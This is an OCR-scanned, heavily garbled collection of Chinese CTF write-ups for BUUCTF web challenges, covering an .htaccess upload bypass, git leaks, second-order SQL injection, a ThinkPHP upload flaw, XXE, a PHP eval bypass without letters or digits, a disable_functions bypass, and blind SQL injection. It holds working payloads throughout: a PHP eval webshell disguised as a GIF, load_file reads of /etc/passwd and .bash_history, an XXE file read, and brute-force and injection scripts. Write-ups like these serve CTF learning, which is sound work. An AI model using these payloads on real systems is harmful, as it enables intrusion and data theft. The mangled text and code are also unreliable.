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T T htaccess, phja4k, EMR#H|T <?php, FrUl REEH:

GIF89a
<script language="php">@eval($_POST|[ 'pass']);</script>

F TwpRILE T UL EfEhtaccessify, B4 Bk,
RiX Bk £ fE FAhtaccess, & EIMBBEH Content-typeZE A Himage/jpeg

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex
POST /HTTPA A K HTTPA .1 200 OK
Host: ee232739-46e2-4054-8351-020bf96c01 38 node3 buucj.cn Server: openresty
User-Agent: Mozilla/s.0 (Windows NT 10.0; Wing4; x84; rv:71.0) Gecko/20100101 Firefox/71.0 Date: Tue, 31 Mar 2020 12:56:58 GMT
Accept: text/html licationixhtml+xml licationsmlg=0.9 ** =08 Content-Type: text/html
Accept-Language: zh-CH zh;g=0.8 zh-TW,g=0.7 zh-HK;g=0.5 en-U53;g=0.3 en;q=0.2 Contert-Length: 349
Accept-Encoding: gzip, deflate Connection: close
Content-Type: multipartform-data; boundary=-------e-mememmemeeeeeo 3002153292 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Contert-Length: 356 Expires: Thu, 19 Mov 1981 08:52:00 GMT
Origin: http: flee232739-4622-4054-835f-020bf96c01 38 node3 buuoj.cn Pragma: no-cache
Connection: close Wary: Accept-Encoding
Referer: http: /lee232739-46e2-4054-8351-020b196c01 38 node3 buuaj.cn/ ¥-Powered-By: PHP/S6.23
Cookie: _ga=GA1.2.2021771582.1584773494, PHPSESSID=cdobE795963948heaabh3552d5E8ffed
Upgrade-Insecure-Reguests: 1 =meta hitp-equiv="Contert-Type" content="text/html, charset=utf-8" /=

<title=Upload<#itle=
---3902153292 =form actiol post" enctype="multipart/form-data"=

Content-Disposi
Content-Type: imagefpeg

: form-data; name="uploaded"; flename="htaccess" % 3 fF<input type="file" name="uploaded" /=
<input type="submit" name="submit" value: 5" =

‘—H{f‘éﬂi{ﬂgimage/jpeg <fformsfvariww pload/eT1c9194692c4b6c8a406bI36198Tab2.ht

<FilesMatch "xo"=
SetHandler application/x-httpd-php
=[FilesMatch=
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[flag
1 flag{44be3208-4f8a-45d0-9afe-2b7481d0436F}
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tHack. py http:

' ODEEE Deses DEEE NEE (Jeess Oux r BEE w oEsERE @H
EREATE R E|'|'“|': request failed with status 484
3 UPL I'ttp I:f55 e - Ed 1-—E=5 5535 CeB4359c4823 . node3 .. buuoj.cnfcss/main. css

(). E#“transform”S“transform-origin: e e*—F@{ER.

GET http

GET http://bf

GET http://bf

python GitHack.py http://04955dbc-ce5a-46d7-8442-c5168d1078cf.node3.buuoj.cn/.git/
HANFKES, git log --reflog, BEERASE

Merge. bfbdle 5550
Author: root =root@localhost.localdomain=
Date: Sat Aug 11 22:51:17 2018 +0800

WIP on master: bfbdf21 add write_do.php

commit 55 T2
Author: root =root@localhost.localdomain=
Date: Sat Aug 11 22:51:17 2018 +0800

index on master: bfbdf21 add write_do.php

commit b 2] 64k 2fcC 3b (HEAD -> master)
Author: root qroot@localhost.localdomaln,
Date: Sat Aug 11 22:47:29 2018 +0800

hitps://blog.csdn.net/bmth666

add write_do.php

git reset --hard e5b2a2443c¢2b6d395d06960123142bc91123148c

szy@szy-virtual-machine:~/ F&j/GitHack-master/dist/04955dbc-ce5a-46d7- Iz
¢ f.node3.buuoj.cn$ git reset --hard e5b232443c2b0d395d00900123142bc91123148

c
HEAD EITE{iiF e5b2a24 WIP on master: bfbdf21 add write_do.php

GG IRE


https://github.com/wangyihang/githacker

<?php
include "mysql.php";
session_start();

if($_SESSION[ 'login'] != 'yes'){
header("Location: ./login.php");
die();

}

if(isset($_GET['do'])){

switch ($_GET['do'])

{

case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($ _POST['title']);
$content = addslashes($_POST['content']);

$sql = "insert into board
set category = '$category’,
title = '$title’,
content = '$content'";

$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($ _POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST[ 'content']);

$sql = "insert into comment
set category = '$category’,
content = '$content’,

bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}

elseq{
header("Location: ./index.php");



BHE RS T KSHELIRR, #Hburpsuite&akEp Ay

Signin

zhangwei

zhangwel***

Signin

183 15 K zhangweib66, #RJEHEN K IY

addslashes

(PHP &, PHP 5, PHP 7)
addslashes — EHERSIELS | HF5E

15EH

addslashes ( string $str ) : string

REIFFR, ZFSFEATHIEESNMEOSNEEARSEFFRIINETREE, XEFFESSIE () . WEIS
(") . AL (1) S NUL (NULL F55)

— & addslashes() fIFIFELFEEHIEEPR SR, 80, B5E=F O'reilly BANFIEIRET, GIEEN
EHtTiEY, IBRUEEIY(ERS DBMS ISEAEE Y EE  (Ekin MySOL &2 mysqli_real_escape_string(), PostgreSQL £

pg_escape_string()) , {BEEWNE{REEY DBMS ;85— LY B, HEMFER | FEVEFFS, MLERX
. (NEATAEUENSURFREDE, 89N | FF=iEA. = PHP 185 magic_guotes_sybase #iRERk on
B, EEEA ESER TR,

$category = addslashes($ _POST[ 'category']);
$title = addslashes($ POST['title']);
$content = addslashes($_POST['content']);

E do=write KR &N TN categroyF R BT TH# XL, B85 5. REMEFSIHSM E—NRFML (BEEESB3ERK
AL .

$category = mysql_fetch_array($result)['category'];



MI7E do=comment FRIF 15 & B 82 MELHE 22 b W categroyit TR A, WHEMMEEE, XM T ZKIEN.

R MifEcategroy#h3E N ', content=database(),/*

[
A

TITLE 11

CATEGORY content=database()./*

CONTENT 111

BEJEREAMS T, RATVFIR */#

B BATHIsqlE AR :

$sql = "insert into comment
set category = '11',content=database(),/*",

content = '"*/#',
bo_id = '$bo_id'";

HRABEHER—1T, FrULERM
R 5 F Hload_file()& Hi B4

',content=(select(load_file('/etc/passwd'))),/*

111
111



B
i

rooL:UIrooL/root/DIN/DAsN d3eMon:x:1:1:03emon:/Usr/SDin:/Usr/Soin/nologin
bin:¢:2:2:bin:/bin:fusr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:d:65534:sync/bind/bin/sync games:x:5:60:games:/usr/games:fusr/sbin/nologin
man:x:6:12:man:ivar/cache/man:/usr/sbin/nologin lpx:7:7:p:fvar/spool/lpd:fusr
fsbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin newsxx:9:9:news:fvar/spool
fnews:fusr/sbin/nologin uucp:x:10:1 0:uucp:/var/spool/uucp:fusr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-datan:33:33:www-data:/var

vz fusr/sbin/nologin backup:x:34:34:backupi/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:fusr/sbin/nologin ircx:39:3%:ircd:fvar
frunfircd:/usr/sbin/neologin gnats:xe41:41:Gnats Bug-Reporting System (admin):/var
fib/gnats:fusr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin
fnologin libuuid:z¢:100:101:var/lib/libuuid: syslog:x:101:104:/home/syslog:/bin/false

mysqgloe102:105:MySQL Server,.,:/var/lib/mysgl:/bin/false wwwix:500:500www:/home

Fwnwwi/bin/bash
—

ety

il
Il

B RIERBOCH £ R E Bl/home/mww R PlbashB #1i84T: ', content=(select(load_file("/home/www/.bash_history"))),/*

Ex

o= cd /tmp/ unzip html.zip rm -f html.zip cp -r html Avarfwwwy cd Avarfsew/html/ rm -f
= .D5_Store service apache2 start

=

Ha

BPREROC, EARTEEER, 1638 MY
',content=(select hex(load_file("/tmp/html/.DS_Store"))),/*

TNEE SRR = i AR R T ] BBl 1en

eluiviwlvlvs v ivivivivivis]elslviviviviv]vivjsls ivivielviv vlelviulvivivvle o s lvivlvivivve v Lo viviv]vivlvislvlvie vv]vis]s[vlelvivivlvvio v v/elviv v viv o e [vivllviv]vv vlo 8 vlvivivlviv ve v viv]viviv v vlvlu vivnio v]o v[v]u v v e u]0 v/ vlvlv|v]v V)0 My
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000:00
0000000000000000000000000000000000000000000000B000000090062006FD06F007400730074007200610070496CEF63626CEF62000000100000004600000028FFFFF
FFFFFFFO0000000000B0063006F006D006D0065006E0074002E007000680070496C6F63626C6F6200000010000000CC0000002800000001FFFFO00000000003006300730
073496C6F53626C6F62000000100000015200000028FFFFFFFFFFFFO000000000150066006C00610067005F0038003900340036006500310066006600310065006500330
065003400300066002E007000680070496C6F63626C6F6200000010000001D800000028FFFFFFFFFFFFO000000000050066006F006E00740073496C6F63626C6F6200000
0100000004600000098FFFFFFFFFFFFO000000000090069006E006400650078002E007000680070496C6F63626C6F6200000010000000CC0000009800000002FFFFDO0000
000002006A0073496C6F63626C6F52000000100000015200000098FFFFFFFFFFFFO00000000009006C006F00670063006E002E007000680070496C6F63626C6FG2000000 7
100NONN1NRNNNANNAR]EFEEEEFEFEEENNNANNNNNNAGANANANTANNT 2007 1ANACAN2ENNTONNARNNTAAGAC AEA2A2ACAEA2NNNNANTANNNNNNAANNNANINEEEEEEEEEEEEEANANNNN 4

160 TG0 s 6761

0000000000000000000000000000000000000000000000000000000000
ObOoOeOtOsOtOr0a0pllochblob Q00000 0F 000000000000 000codmimIedndif.dpdhdpllocblob00000000000{(0000000000000cOsOsllocblobO0On
:]:]R]:]{]:]:]:]:]:]:bfﬂ:a]g]_]8:9:4]6]e:1]ﬂj:1:e]e:3]e:4]0]f1]p:h:pIOcmob:]:]:]:]:]:(:]:]:]:]:]:]:f]O:n:t]ﬂbcmob:
000000FO00000000000000 OidnOdOedx0.0pOhOpllocblobO00000O0000000000000000000jOsllocblob0000000ROODOOOO000000000
Ol0e0g0idn0.0p0hOpllecblob0000000000000000000000

ooooooo nOdOdoOrllocblob000000000000000000000000wOrdi0tded_OdOoO.0pOhOplloc
blobDOOOO0OOROOOOCOO00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 .
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

RO BRT :

',content=(select hex(load_file("/var/www/html/flag_8946elfflee3ed0f.php"))),/*

IEERE FE SRR E AR L 1en
|3C3 Fr068700A0924666C61673022666C61677B3766646430393364206635363620346362612D393037372D3864343761323935323637397D223B0A3F3E0A
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<?php
$flag="flag{7fdd093d-f566-4cba-9077-8d47a2952679}";
7>
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[RoarCTF 2019]Simple Upload
EE %W T RS

<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller

{
public function index()
{
show_source(__FILE_ );
¥
public function upload()
{
$uploadFile = $_FILES['file'] ;
if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}
$upload = new \Think\Upload();// LAtk 1425
$upload->maxSize = 4096 ;// WEMHFLFEA)
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// REWIIEEHEE
$upload->rootPath = './Public/Uploads/';// HREMIF L1EHR
$upload->savePath = '';// BEWHFLETFHR
$info = $upload->upload() ;
if(!$info) {// _LfE#RIENEIRIGHE
$this->error($upload->getError());
return;
Yelse{// _Lf&iZ) HKBLAEIHER
$url = __ROOT__.substr($upload->rootPath,1).$info['file"'][ 'savepath'].$info[ 'file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
¥


https://blog.csdn.net/weixin_44377940/article/details/104991188
https://blog.csdn.net/weixin_43940853/article/details/105121265?depth_1-utm_source=distribute.pc_relevant.none-task&utm_source=distribute.pc_relevant.none-task

NALET, 3% KEwp, XEMELE—T:

Think PHP L8R\ 1%

BRI _EAE 42 R /home/index/upload

Think PHP upload()%& St # E4%:

think PHP B [¥jupload () B EE A E S HIE L T 2 LR BAER, X B Al DR NB IS R S8l —k, SH&HRSE, 2REE
R LG SRR, 2 F M2 BEBHR X 2R T R phpSUHREE, FovX BN E %4 7 iz T unigidif
B, EREET R 2w AR E SO, BRI AR A B SO A E R R

ThinkPHP k4% 30 45 22 1%

e bE—ANEEXHE LA ARG, REEEE—ANIEEH, AEREE -FME=EAEE B HLZRNESR, B
B AT AR T S

import requests

url = 'http://d3ee@a32-992d-4d80-b55f-8099edb2bf6f.node3.buuoj.cn/index.php/Home/Index/upload’
filel = {'file':open('1.txt"','r’

file2 = {'file[]':open('1.php','r')} #upload() FIEZH BIE#E L 1EHT L] ]

r = requests.post(url,files = filel
print r.text

r = requests.post(url,files = file2
print r.text

r = requests.post(url, files = filel
print r.text

.node3.buuoj.cn/inde /Home/Index

csdn.net/bmt

RIESMAZRN, R TRREBRET, £1.phpE T —AERY, IHERARH.



import requests
import time
str="0123456789%abcdef"’
for i in str:
for j in str:
for k in str:
for o in str:
for p in str:
url = "http://d3ee@a32-992d-4d80-b55f-8099edb2bf6f.node3.buuoj.cn/Public/Uploads/2020-04-01/
5e847bce"+i+j+k+o+p+".php"
r = requests.get(url)
if r.status_code == 429:
time.sleep(0.1)
continue
elif r.status_code != 404:
print(url)
break

HTbuucttA &, —HIEH10K, FUET —KKKE, BT —#LE, SRMET, FTRUSH, ZTHEERT qaq

Jctf/buuctf/

G @ © & }3e7boda.noded.buuoj.cn/Public/Uploads/2020-04-02/5e854713d029.php
Huassas D EEM @ HEHE (P HTasSsems. () [EK] -SiMEs. & =28 @ PTA | SESisa.
flag{4e89bf3c-Oacf-4fe1-9642-3fh9a004e925}

SHEHE R E:

RoarCTF2019 Writeup

Fmz: [RoarCTF 2019]Simple Upload
[RoarCTF 2019]Simple Upload

[NCTF2019]Fake XML cookbook


https://paper.seebug.org/1059/#simple_upload
https://www.cnblogs.com/wangtanzhi/p/12257246.html
https://blog.csdn.net/weixin_43940853/article/details/104040866

ZHIREA Nidxee, 5% Twp, %3 —K
BE—ANEETE, BEFEABEERRER

NCTF2019

@ Usertame

& Password

LOGIM

function doLogin(){
var username = $("#username").val();
var password = $("#password").val();

= ")

alert("Please enter the username and password!");

if(username == || password
return;

}

var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: "doLogin.php",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[@].childNodes|[@].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[©@].nodeValue;

if(code == "0"){

$(".msg").text(msg + " login faill");

telse if(code == "1"){

$(".msg").text(msg + " login success!");

telse{

$(".msg").text("error:" + msg);

}
¥
error: function (XMLHttpRequest,textStatus,errorThrown) {

$(".msg").text(errorThrown + ':' + textStatus);

}

1)



XMLIETA: MXMLAE R — 35— BIXXEJR R
I A payload

<!DOCTYPE ANY [
<!ENTITY test SYSTEM "file:///flag">
1>

<user><username>&test;</username><password>123</password></user>

Request Response
jﬂa\vT Params T Headers | Hex | XML ] jR&wT Headers | Hex | XML ]
POST JdoLegin php HTTPM 1 ' HTTPA .1 200 CK
Host: 6737a45f-1ed5-4b358-bE42-425751 f0f58 node3 buugj.cn a Server: openresty
User-Agent: Mozillafs.0 (Wndows NT 10.0; Wing4, x64; rv:71.0) Gecko/20100101 Firefox/71.0 Date: Thu, 02 Apr 2020 09:57:57 GMT
Accept: applicationfml, textiml, **; g=0.01 Contert-Type: texthtml, charset=utf-8
Accept-Language; zh-CN zh;g=0.8 zh-TW;q=0.7 zh-HK;g=0.5 en-US;g=0.3 en;g=0.2 Content-Length; 85
Accept-Encoding: gzip, deflate Connection: close
Contert-Type: application/xml charset=utf-g “ary: Accept-Encoding
A-Reguested-With: XMLHitpRequest ¥-Powered-By: PHP/T 4.0RCE
Content-Length: 127
arigin: htp: 67 37a45f-1ed5-4b38-bE642-4d257 51 f0f58 node3 buuaj.cn <result=<code=l</code=<msy-flag{decdT Tc0-aB6f-40b1-bdet-49becidecedl}
Connection: close =msg=<iresult=

Referer: hitp: 57 37a45f-1ed5-4b38-bG64 2-4d257 51 058 node3 buuoj.cn/
Cookie: _ga=GA1.2.202177182.1584773494

<IDOCTYPE ANY [
<ENTITY test SYSTEM "file:fifflag"=
1=

<user=<username=&test <jusername=<password=123=/password=</user>

2% [NCTF2019]Fake XML cookbook

[t& % K #k ik 2019]RCE ME
S T VRS

<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$ GET['code'];
if(strlen($code)>40){
die("This is too Long.");

¥
if(preg_match("/[A-Za-z0-9]+/",%code)){
die("NO.");
¥
@eval($code);
¥
else{
highlight_file(__FILE_ );
}
// P>

BHKENT40, FRTFBABFMFEFRGSIAT, RZHELX -, BT Mgetllagrl AEHEA, HXEKRE, BHEER
phpinfo()
$_="{{{"r"2<>/"; //_GET

${S_I_1(${$_[__1); //8_GET[_]($_GET[__])
& =assert&_ =phpinfo()


https://xz.aliyun.com/t/6887
https://www.cnblogs.com/wangtanzhi/p/12323562.html

RIVRZ RBEET

default_mimetype

text/html

text/html

disable classes

disable_functions

pentl_alarm,pent]_fork, pentl_waitpid, pentl_wait, pentl
_wifexited,pcntl_wifstopped, pentl_wifsignaled pentl_
wifcontinued, pentl_wexitstatus pentl_wiermsig,pentl
_wstopsig,pcntl_signal, pentl_signal_get_handler, pcnt
|_signal_dispatch,pcntl_get last_error,pentl_strerror,
pentl_sigprocmask, pentl_sigwaitinfo,pentl_sigtimed
wait,pcnt]_exec,pentl_getprionity,pentl_setpriority,pc
ntl_async_signals system,exec, shell_exec popen,pro
_open,passthru,symlink link syslog,imap_open,id,dl

pentl_alarm,pent]_fork, pentl_waitpid, pentl_wait, pentl
_wifexited,pentl_wifstopped, pentl_wifsignaled pentl_
wifcontinued, pent]_wexitstatus pentl_wiermsig,pentl
_wstopsig,pentl_signal, pentl_signal_get_handler,pent
|_signal_dispatch,pcntl_get last_error,pentl_strerror,
pentl_sigprocmask, pentl_sigwaitinfo,pentl_sigtimed
wait,pent]_exec,pentl_getprionity,pentl_setpriority,pc
ntl_async_signals system,exec shell exec popen,proc
_open,passthru,symlink link syslog,imap_open,id,dl

display errors

Off

Off

display _startup_errors

Off

Off

v | BREHn) EsAhsSe) MEEaMW) £ 7, SRR 10 4ILEE
EEE N EE (JEREEsE O OAF B EE O TESHE @ HackBar @y Max HacKBar
SQAL - X35+ Other -

22e9-0989-438b-8ade-f01feb28e148 node3d buuoj.cn/?code=%_="{{{""?==/"3{3 } W33 _}_ 1x& =assert& =phpinfa)

R JE AT LIS

SR (G RYE

fER H % F Flflagfireadflag

var
bin
boot
dev
etc
home
lib
libe4
media
mnt
opt
proc
root
run
sbin
srv
SY5
tmp

usr

KL ToIE AT

& =assert&_ =eval a

[+]
iy
o
1

+LtE SRl & FEF  AHE -

i
2

hom

lib

=

libo4

med
mnt
opt
proc
root
run
shin
srv
SYs
tmp
usr

var

ia

.dockerenv

(P20 NP I I I I I I I O O O O O O O IV

flag

readflag

Sk
2018-10-20 10:40:06
2018-12-29 04:23:49
2018-12-26 00:00:00
2018-12-26 00:00:00
2018-12-26 00:00:00
2018-12-26 00:00:00
2020-04-02 10:06:07
2019-11-21 13:33:00
2018-12-29 04:32:42
2018-12-29 04:32:37
2018-12-26 00:00:00
2020-03-27 05:28:52
2018-12-29 06:51:27
2018-12-26 00:00:00
2018-12-29 04:32:38
2020-04-02 10:06:07

2020-04-02 10:06:09




(*) $#iA ashelp

Tt Ivaritmp/ B 327 1E LERR, LfEexp

|| == > 111.73.46.229 0 111.73.46.229
JB#%lE (0) < Oxfnzx (2)
3/ o - +¢LE CRHF &FBF  AEE - vartmp/
- ™ 1
= £t =]
+ - WWW
B backups [5] bypass_disablefunc.php 2020-04-10 12:56:12
B cache D bypass_disablefunc_x64.so 2020-04-10 12:50:53
i b
| local
I lock
| log
| mail
| opt
I run
Il spool
| tmp
{i Fpayload:
code L{{"A /" _ o _=assert& =include('/var/tmp/bypass_disablefunc.php')&cmd=/readflag

outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so


https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

example: http://site.com/bypass _disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass disablefunc x64.s0
cmdline: /readflag > /tmp/tmpfile 2> &1

output:
flag{290a01ec-38c9-45c4-a72c-38501a872417)

 O=s= Oede DEdtE N Rs ()atsss O O A% B &E f TS @ HadBar @ Max HacKsar [ e

Encryption + Encoding ~ SQL~ XSS~ Other ~ Contribute now! HackBar vz

@ Load URL http://85076c05-1e05-4b81-8d74-a88281438254 node3 buuoj.cn/?code=5_=""{{{"""?=>/"${S_}_1(${3_}[__1):& =assert&__ =include('varitmp/bypass_disablefunc_php')&cmd=/readflag&outpath=

/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so
% split URL

A AT ERSCE P E TR, #E3—TF:
(~%9E%BCHBCHOA%BDYSB ) ( (~%91%IA%BT%EB ) ( (~%9IB%IA%BBHIERI3%93%9I7%IA%IE%IBHIA%BD%EC) ())) 5

sdn.net/brmtr

BRI PA_E4£: PHP 7.0-7.4 disable_functions bypass
2%

bypass_disable_functions

[BUUOJIE ][R % Kk 2019]RCE ME

BUUCTF: [tkZ& KX#kik 2019]RCE ME
bestphp’s revenge(k 5¢ i)

4T IRARED

highlight file(__ FILE_ );

= 'implode';
call user_func( ['F'T1, )
session_start();
if (isset( ['name'])) {

["name'] = ["name'];

¥
var_dump( )

= array(reset( ), 'welcome_to the 1lctf2018');

call user_func($b, )&

BYUEYT, webFUtHEET:
2% . R [LCTF]bestphp’s revenge

[WUSTCTF2020]k 52 F 4


https://github.com/mm0r1/exploits/tree/master/php7-backtrace-bypass
http://0xcreed.jxustctf.top/2019/10/bypass-disable-functions/
https://www.cnblogs.com/yesec/p/12483631.html
https://blog.csdn.net/mochu7777777/article/details/105136633
https://www.cnblogs.com/20175211lyz/p/11515519.html

EwpE—TFTRNBHKZWBE, ZAIRFREHK
B Se & A robots.txt

<« C @ © £ 9aad93eb-f56a-4760-909f-be7893f49a49.node3.buuoj.cn/robots.ixt
Byaissss DsERs @ FFtlE (P lassskms. O S -SimsEs. ¢ =22 @ rTa | 2sg

User—agent: *
Disallow: /fAke_flagzes. php|

B3 —Meflag, JEHREEHELGE4g.php, B

HTML €55 Js XHR =& BE =% ws =  [OE=as (=mss 74
*. Bl EBL Cookie £¥ WM HE HHERE

22 .. Content-Length: 22
18 Content-Type: text/html
@ Date: Wed, 08 Apr 2020 06:59:24 GMT
|L|:|0k at me: ffl4g_php|
Server: openresty
X-Powered-By: PHP/5.5.38

EEIV AR



<?php
header('Content-type:text/html;charset=utf-8");
error_reporting(0);

highlight_file(__file_);

//level 1
if (isset($_GET['num'])){
$num = $_GET[ 'num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "RAZRAETERWT L, FREFENE, RREAZLENE, LRMERIFBHUREGE. </br>";
telse{
die("&BRMRAT HF NIRRT EE") ;
}
Yelse{
die("ZEIEPmE");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "MEXACTFer£E|flag/a, BEAE, BMERMWE, R—FKET, LHIMEHE, BOPEAIETIE, B—-HEEAH,
BERE, MNEDR. </br>";
else
die("TERBARRIEAMA, M TAEE, Mo —KZHBTIEM");
telse{
die("ZIEPmE");
}

//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get _flag = str_ireplace("cat", "wctf2020", $get flag);
echo "MEIXE, RALMMRE, AERANRSIEERRX 2KAETE, B, </br>";
system($get _flag);
telseq{
die("tREFEMT");
¥
telse{
die("ZIEPIE");



F—RGE intval() R#, intval() ATCAAREREOAMUOUR ], A Bkl o ikl Bt Busss
HRITER T AEARRIZIT T —F, KAPFARAELERES—HH

FETE
PHP \d B FiFE(Save) ERIEE = ABE(Embed) P #157(Run) +

<?php
intval('1e5"});
"\n";

phpinfo();|

PHP FE£TH v FiE=
1 <iphp 1
2 echo intwal(’1e5°]; phpinfo()
3 ech? tn' PHP Version => 7.0.33-0+deb%u3
4 phpinfoll;
1 <7php 100001
2 echo 1nt\:2-ll( lef’+1); phpinfo()
3 echo "\n”; PHP Version => 7.0.33-0+deb%u3

4 phpinfol);

A AT LIE ) num=1e5 Seid 3 —K T
FoRFER N Oe+BZHZR/RE, REMISE H GV N0eF Kk, IH{ERA:

import hashlib

for i in range(0,10**33):

i = str(i)

# 1 = 1.zf1lLL(33)

num = 'Ge’' + i

md5 = hashlib.md5(num.encode()).hexdigest()

if md5[0:2] == '@e' and md5[2:].isdigit():
print('success str:{} md5(str):{}'.format(num, md5))
break

else:
print("trying {}".format(num))



?%@u 0e215962017, md5N0e291242476940776845150308577824
FE=RmAPIT, EAREZTHE, Thbcat
B get_flag=1s &&H XM

404.html fAke flagggg.php fl4g.php TN aaaaaaaaaaaaaaaaanaaaaaaaaaasaaaaaadaaaaaaaaasaaaaaaaaaaaaaaaanaaaaaaaaaaag img.jpg index.php

robots.txt

b 022 Dslse DESE NEE (s O 0AF B EE T TESHE @ HackBar iy Max HacKBar t
Encryption ~ Encoding + SQL ~ X35~ Other ~ Contribute now! Hat

& Load URL hitp:/fe7b42113-351f-464d-9c80-2d36417e0040.node3. buuoj.cn/fldg php?num=1e58md5=0e215962017&get_flag=Is

Rix B F K RtacizEflag
get_flag=tac${IFS}F1111111111111111111111111111111111111111aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

ddaaadadadddddddaaaaaaaaag

flag{c79b7400-479c-4d0e-b02d-538c5b2c4%ed} S
R O=5s Dase DELE NEs (JEReSEs Qs OnF B FE F FESHS @ HakBar @ Max HackBar

Encryption = Encoding » SQL ~ XSS -~ Other =

@l Load URL http:/le7b42113-3511-464d-9c80-2d36417e0040.node3 buuoj.cn/fidg php?num=1e5&md5=0e215962017&

% get_flag=tacE{IFSHIIMmmmmmmmmaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa333333a3333333333333333333a33333aaaaaaaa33ag
Split URL.

JTE R .

get_flag=more 1s

get_flag=ca\t

Z2%. Ying: RMNEHKZEWUST-CTF 2020 Writeup
[WUSTCTF2020]25 & i 51 25 ¥

XAEEART], RE4#HREstudent number not exists., BEBEWpRIEEH Tand, SCAK&EIW], ZEMAEH/ /BRI WA /R B iE

2

student number
your score.

1/**/&&/**/ord(substr(database(),1,1))=99#

Warning: session_start(): e i r 3 /html/index.php:&4) in /var/www/html/ inﬁex.php online 71

Woarning: session_start(): Cannot 255 h ed at /html/index.php:66) in /var!www_ﬂﬁml/ index.php on line 71

4

log.csdn.net/bmtl

BRE DT Ne, BUBIEE N, LY IngiifE i 4


https://www.gem-love.com/ctf/2176.html#%25E6%259C%25B4%25E5%25AE%259E%25E6%2597%25A0%25E5%258D%258E

#!/usr/bin/env python3

# -*- coding: utf-8 -*-

#AAETL 'Amore www.gem-Love.com #FEEEME K ET
import requests

from urllib.parse import *

res = "'
alphabet = ['{',"'}', '@", '_","',"','a','b",'c','d",'e","f", G, 'h", i, gt 'k, 'L, ', ', 0, Tpt, g, e, s, T
ut, v, twt, xS,y 2, A, B, ', DY, TE L, R, G, THY, ' T, G, K, L, MY, N, 0, TP, ', PR, TS, T, U, Y
LW, 'X, 'Yy, 2, e,y 20,3, '4 5,6, 7,8, 9]

for i in range(1,100):
for char in alphabet:
# information_schema, ctf

# payload = "select/**/group_concat(schema_name)/**/from/**/information_schema.schemata"

#flag, score

# payload = "select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=
database()"

#flag,value, id, name, score

# payload = 'select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schem
a=database() '

#wctf2020{e@sy sql_and_you scére_1t}
payload = "select/**/group_concat(value)/**/from/**/flag"
payload = quote(payload)
url="http://101.200.53.102:10114/?stunum=2/(ascii(substr(({}),{},1))={})"'.format(payload, i, ord(char))
r = requests.get(url)
# print(r.text[2473:2499])
if '666' in r.text:
res += char
print(res)
break

B%. Ying: RMEHEKZEWUST-CTF 2020 Writeup
BEEAWRIAKXNNERTHRENGTSE, BERSERNT. . . . ERHKS B

-1/**/ununionion/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/tabl
e_schema=database()


https://www.gem-love.com/ctf/2176.html#%25E6%259C%25B4%25E5%25AE%259E%25E6%2597%25A0%25E5%258D%258E

student number
your score.

finformation_schema.tables/*%/where/**/table_schema=database()

html/index.php:66) in fvar/www/html/ irr;t'!:ex.php online 71

htmil/index php:66) in f\rar.iwv{w!h-t.ml."index.php on line 71

4

Jblog.csdn.net/bmt

-1/**/ununionion/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/ta
ble _name='flag’



student number
yOour score.

om/**information_schema.columns/*%/where/**/table_name="flag'

Yhiml/index.php:66) in Avar/wnaw/hitml/ ini!:ex.php online 71

Yhiml/index.php:66) in fvar!wmp.v;’h-l;mlfindex.php online?7

hitps://blog.csdn.net/bmth

-1/**/uniounionn/**/select/**/1,2,value/**/from/**/flag

—

(

student number
your score.

-1/**uniounionn/**/select/**/1,2 value/*/from/**/flag - . /

/html/index.php:66) in fvar/www,/himl/ inﬁex.php online71

vhiml/indesc.php:66) in ;‘varfwuiwmim Ifindex.php on line 71

679-d30c2cd28c07}

hitps:ibtog:csdmnetbmth666

%% . WUST-CTF 2020 ‘B /7 Writeup

